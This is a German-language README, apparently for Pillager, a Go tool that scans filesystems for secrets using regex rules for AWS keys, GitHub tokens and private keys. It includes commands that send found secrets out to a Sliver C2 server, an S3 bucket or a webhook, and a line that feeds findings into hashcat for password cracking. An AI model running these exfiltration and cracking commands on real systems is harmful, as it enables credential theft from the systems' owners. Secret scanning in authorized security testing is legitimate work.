
Plündere Dateisysteme nach sensiblen Informationen mit Go 🔍
Durchsuche Dateisysteme mit Go nach sensiblen Informationen.
Pillager wurde entwickelt, um eine einfache Möglichkeit zu bieten, die starke Nebenläufigkeit von Go zu nutzen, um rekursiv Verzeichnisse nach sensiblen Informationen in Dateien zu durchsuchen. Pillager tut dies, indem es auf den Schultern einiger Giganten steht. Sobald Pillager Dateien findet, die dem angegebenen Muster entsprechen, wird die Datei mit einer Reihe von nebenläufigen Workern gescannt, die jeweils eine Zeile der Datei aus der Job-Warteschlange nehmen und nach sensiblen Musterübereinstimmungen suchen. Die verfügbaren Musterfilter können in einer pillager.toml-Datei definiert werden, oder Sie können das Standardregelwerk verwenden.
Wenn Go auf Ihrem System eingerichtet ist, können Sie Pillager mit go install installieren.
go install github.com/brittonhayes/pillager@latest
scoop bucket add pillager https://github.com/brittonhayes/pillager-scoop.git
scoop install pillager
brew tap brittonhayes/homebrew-pillager
brew install pillager
docker run --rm -it ghcr.io/brittonhayes/pillager:latest hunt .
Wenn Sie nach einer Binärdatei suchen, überprüfen Sie die neuesten Releases auf die ausführbare Datei, die zu Ihrem System passt.
Um alle mit pillager verfügbaren Befehle zu sehen:
# Um Anweisungen für die gesamte Anwendung zu erhalten
pillager
# Von jedem Unterbefehl
pillager [cmd] --help
Pillager bietet eine terminalbasierte Benutzeroberfläche, die mit bubbletea erstellt wurde, falls Sie interaktiv nach Geheimnissen suchen möchten.
Senden Sie entdeckte Geheimnisse an entfernte Ziele: Sliver C2 (Beute-/Anmeldedatenspeicher), S3/MinIO (Cloud-Speicher) oder Webhooks (benutzerdefinierte HTTP-Endpunkte).
# Sliver C2 - An Teamserver senden mit Credential-Parsing
pillager hunt /target --exfil sliver \
--sliver-config ~/.sliver-client/configs/operator.cfg
# S3/MinIO - Hochladen mit Verschlüsselung
pillager hunt /target --exfil s3 \
--s3-bucket red-team-findings \
--s3-endpoint https://minio.internal:9000 \
--exfil-encrypt env:EXFIL_KEY
# Webhook - POST an benutzerdefinierten Endpunkt
pillager hunt /target --exfil webhook \
--webhook-url https://your-server.com/findings \
--webhook-header "Authorization: Bearer token"
Sicherheit: AES-256-GCM-Verschlüsselung (--exfil-encrypt), TLS standardmäßig, automatische Metadaten (Hostname, Zeitstempel)
Pillager bietet vollständige Unterstützung für Gitleaks[^2]-Regeln. Diese können entweder in einem rules1-Abschnitt in Ihrer pillager.toml-Datei übergeben werden, oder Sie können das Standardregelwerk verwenden, indem Sie das Konfigurations-Flag leer lassen.
# pillager.toml
# Grundlegende Konfiguration
verbose = false
redact = false
# Regeln zur Erkennung von Geheimnissen
[[rules]]
description = "AWS Access Key"
id = "aws-access-key"
regex = '''(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}'''
tags = ["aws", "credentials"]
[[rules]]
description = "AWS Secret Key"
id = "aws-secret-key"
regex = '''(?i)aws(.{0,20})?(?-i)['\"][0-9a-zA-Z\/+]{40}['\"]'''
tags = ["aws", "credentials"]
[[rules]]
description = "GitHub Token"
id = "github-token"
regex = '''ghp_[0-9a-zA-Z]{36}'''
tags = ["github", "token"]
[[rules]]
description = "Private Key"
id = "private-key"
regex = '''-----BEGIN (?:RSA|OPENSSH|DSA|EC|PGP) PRIVATE KEY( BLOCK)?-----'''
tags = ["key", "private"]
# Whitelist-Konfiguration
[allowlist]
paths = [
".*/_test\\.go$",
".*/testdata/.*",
".*\\.md$",
".*/vendor/.*"
]
regexes = [
"EXAMPLE_KEY",
"DUMMY_SECRET"
]
Pillager bietet eine Reihe integrierter Ausgabeformate. Wählen Sie Ihr bevorzugtes!
pillager hunt .
pillager hunt ./example -f json | jq
Die JSON-Ausgabe ist so konzipiert, dass sie nahtlos mit dem großartigen jq-Tool für einfaches Parsen zusammenarbeitet.
# Verwenden Sie Pillager, um eine durch Zeilenumbrüche getrennte Wortliste aus den Funden zu generieren
pillager hunt . -f wordlist
# Verwenden Sie Pillager, um eine Wortliste anzuhängen, und verwenden Sie dann Ihren bevorzugten Hashcat-Angriffsmodus
pillager hunt ./ -f wordlist >> rockyou.txt && hashcat -a 0 hash.txt rockyou.txt
pillager hunt . -f json-pretty
pillager hunt . -f html > results.html
pillager hunt . -f markdown > results.md
pillager hunt . -f csv > results.csv
pillager hunt . --template "{{ range .}}Secret: {{.Secret}}{{end}}"
pillager hunt . -t "$(cat mytemplate.tmpl)"
Pillager ermöglicht die Verwendung leistungsstarker go text/template- und sprig-Funktionen, um das Ausgabeformat anzupassen. Hier sind einige Vorlagenbeispiele.
{{ range . -}}
File: {{ .File }}
Secret: {{ .Secret}}
Description: {{ quote .Description }}
{{ end -}}
# Ergebnisse
{{ range . -}}
## {{ .File }}
- Ort: {{.StartLine}}
{{end}}
Weitere Vorlagenbeispiele finden Sie im Verzeichnis templates.
GoDoc-Dokumentation ist auf pkg.go.dev für pillager verfügbar.
Um an der Entwicklung von Funktionen und Fehlerbehebungen für Pillager teilzunehmen, beginnen Sie mit Folgendem:
Was ist Cobra?
Cobra ist eine Bibliothek, die eine einfache Schnittstelle zur Erstellung leistungsstarker moderner CLI-Schnittstellen ähnlich wie Git- und Go-Tools bietet. Cobra ist auch eine Anwendung, die Ihr Anwendungsgerüst generiert, um schnell eine Cobra-basierte Anwendung zu entwickeln.